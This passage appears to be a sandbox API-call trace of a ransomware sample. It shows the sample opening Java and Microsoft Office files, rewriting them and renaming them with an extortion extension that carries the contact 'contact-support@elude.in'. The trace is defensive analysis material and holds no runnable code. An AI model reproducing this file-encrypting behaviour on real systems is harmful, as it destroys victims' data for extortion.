[0120.287] GetProcessHeap () returned 0x630000 [0120.287] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xbe1) returned 0x6fba008 [0120.287] GetProcessHeap () returned 0x630000 [0120.287] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xbe1) returned 0x709768 [0120.287] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.287] ReadFile (in: hFile=0x5e4, lpBuffer=0x6fba008, nNumberOfBytesToRead=0xbc0, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba008*, lpNumberOfBytesRead=0x36bff0c*=0xbc0, lpOverlapped=0x0) returned 1 [0120.306] GetProcessHeap () returned 0x630000 [0120.306] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feefd0 [0120.306] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.306] WriteFile (in: hFile=0x5e4, lpBuffer=0x709768*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x709768*, lpNumberOfBytesWritten=0x36bff0c*=0xbc0, lpOverlapped=0x0) returned 1 [0120.309] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.309] WriteFile (in: hFile=0x5e4, lpBuffer=0x70a327*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a327*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0120.309] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.309] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0120.309] CloseHandle (hObject=0x5e4) returned 1 [0120.310] GetProcessHeap () returned 0x630000 [0120.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709768 | out: hHeap=0x630000) returned 1 [0120.310] GetProcessHeap () returned 0x630000 [0120.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fba008 | out: hHeap=0x630000) returned 1 [0120.310] GetProcessHeap () returned 0x630000 [0120.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feefd0 | out: hHeap=0x630000) returned 1 [0120.310] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xda76bb8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0xc447496, dwReserved1=0x6fba000, cFileName="US_export_policy.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="US_EXP~1.FIR")) returned 0x6d53c0 [0120.311] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0120.311] Sleep (dwMilliseconds=0x1) [0120.358] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy", len=0x3b | out: pbstr=0x36bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 1 [0120.358] GetProcessHeap () returned 0x630000 [0120.358] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x134) returned 0x66a3e0 [0120.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0120.358] CloseHandle (hObject=0x5e4) returned 1 [0120.358] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.359] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAPO~1.FIR")) returned 0x6d5200 [0120.359] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.359] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0120.359] GetProcessHeap () returned 0x630000 [0120.360] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c1) returned 0x697da8 [0120.360] GetProcessHeap () returned 0x630000 [0120.360] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c1) returned 0x6e5368 [0120.360] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.360] ReadFile (in: hFile=0x5e4, lpBuffer=0x697da8, nNumberOfBytesToRead=0x9a0, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesRead=0x36bff0c*=0x9a0, lpOverlapped=0x0) returned 1 [0120.413] GetProcessHeap () returned 0x630000 [0120.413] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0120.413] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.413] WriteFile (in: hFile=0x5e4, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x36bff0c*=0x9a0, lpOverlapped=0x0) returned 1 [0120.414] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.414] WriteFile (in: hFile=0x5e4, lpBuffer=0x6e5d07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5d07*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0120.414] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.414] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0120.414] CloseHandle (hObject=0x5e4) returned 1 [0120.415] GetProcessHeap () returned 0x630000 [0120.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0120.415] GetProcessHeap () returned 0x630000 [0120.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0120.415] GetProcessHeap () returned 0x630000 [0120.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0120.415] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xdb81e91, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9c6, dwReserved0=0xc447496, dwReserved1=0x697da0, cFileName="java.policy.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAPO~1.FIR")) returned 0x6d5200 [0120.415] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.416] Sleep (dwMilliseconds=0x1) [0123.376] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 1 [0123.376] GetProcessHeap () returned 0x630000 [0123.376] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x160) returned 0x66a3e0 [0123.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0123.379] CloseHandle (hObject=0x718) returned 1 [0123.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.100] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP7A52~1.FIR")) returned 0x6d5000 [0124.101] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0124.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0124.101] GetProcessHeap () returned 0x630000 [0124.101] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c01) returned 0x6ecb478 [0124.101] GetProcessHeap () returned 0x630000 [0124.101] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c01) returned 0x6ee3ce0 [0124.101] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.101] ReadFile (in: hFile=0x718, lpBuffer=0x6ecb478, nNumberOfBytesToRead=0x4be0, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb478*, lpNumberOfBytesRead=0x36bff0c*=0x4be0, lpOverlapped=0x0) returned 1 [0125.490] GetProcessHeap () returned 0x630000 [0125.490] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0125.490] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.490] WriteFile (in: hFile=0x718, lpBuffer=0x6ee3ce0*, nNumberOfBytesToWrite=0x4be0, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3ce0*, lpNumberOfBytesWritten=0x36bff0c*=0x4be0, lpOverlapped=0x0) returned 1 [0127.020] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.020] WriteFile (in: hFile=0x718, lpBuffer=0x6ee88bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88bf*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.120] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.120] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.121] CloseHandle (hObject=0x718) returned 1 [0128.351] GetProcessHeap () returned 0x630000 [0128.383] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3ce0 | out: hHeap=0x630000) returned 1 [0128.383] GetProcessHeap () returned 0x630000 [0128.383] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecb478 | out: hHeap=0x630000) returned 1 [0128.439] GetProcessHeap () returned 0x630000 [0128.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0131.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1250a085, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4c1f, dwReserved0=0xc447496, dwReserved1=0x6ecb470, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP7A52~1.FIR")) returned 0x6d5200 [0131.540] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.540] Sleep (dwMilliseconds=0x1) [0131.583] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", len=0x38 | out: pbstr=0x36bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 1 [0131.583] GetProcessHeap () returned 0x630000 [0131.584] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x24) returned 0x66a3e0 [0131.584] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0131.584] CloseHandle (hObject=0x410) returned 1 [0131.584] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.584] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LINEAR~1.FIR")) returned 0x6d4ec0 [0131.585] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0131.585] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0131.585] GetProcessHeap () returned 0x630000 [0131.585] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x421) returned 0x6672f8 [0131.585] GetProcessHeap () returned 0x630000 [0131.585] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x421) returned 0x6fecbb0 [0131.585] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.586] ReadFile (in: hFile=0x410, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x36bff0c*=0x400, lpOverlapped=0x0) returned 1 [0131.592] GetProcessHeap () returned 0x630000 [0131.592] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0131.592] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.592] WriteFile (in: hFile=0x410, lpBuffer=0x6fecbb0*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fecbb0*, lpNumberOfBytesWritten=0x36bff0c*=0x400, lpOverlapped=0x0) returned 1 [0131.593] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.593] WriteFile (in: hFile=0x410, lpBuffer=0x6fecfaf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fecfaf*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.593] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.593] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.593] CloseHandle (hObject=0x410) returned 1 [0131.594] GetProcessHeap () returned 0x630000 [0131.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fecbb0 | out: hHeap=0x630000) returned 1 [0131.594] GetProcessHeap () returned 0x630000 [0131.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0131.594] GetProcessHeap () returned 0x630000 [0131.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0131.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1461ed14, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0xc447496, dwReserved1=0x6672f0, cFileName="LINEAR_RGB.pf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LINEAR~1.FIR")) returned 0x6d5400 [0131.596] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0131.597] Sleep (dwMilliseconds=0x1) [0131.605] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", len=0x30 | out: pbstr=0x36bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 1 [0131.605] GetProcessHeap () returned 0x630000 [0131.605] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x18) returned 0x66a3e0 [0131.606] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0131.606] CloseHandle (hObject=0x410) returned 1 [0131.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, 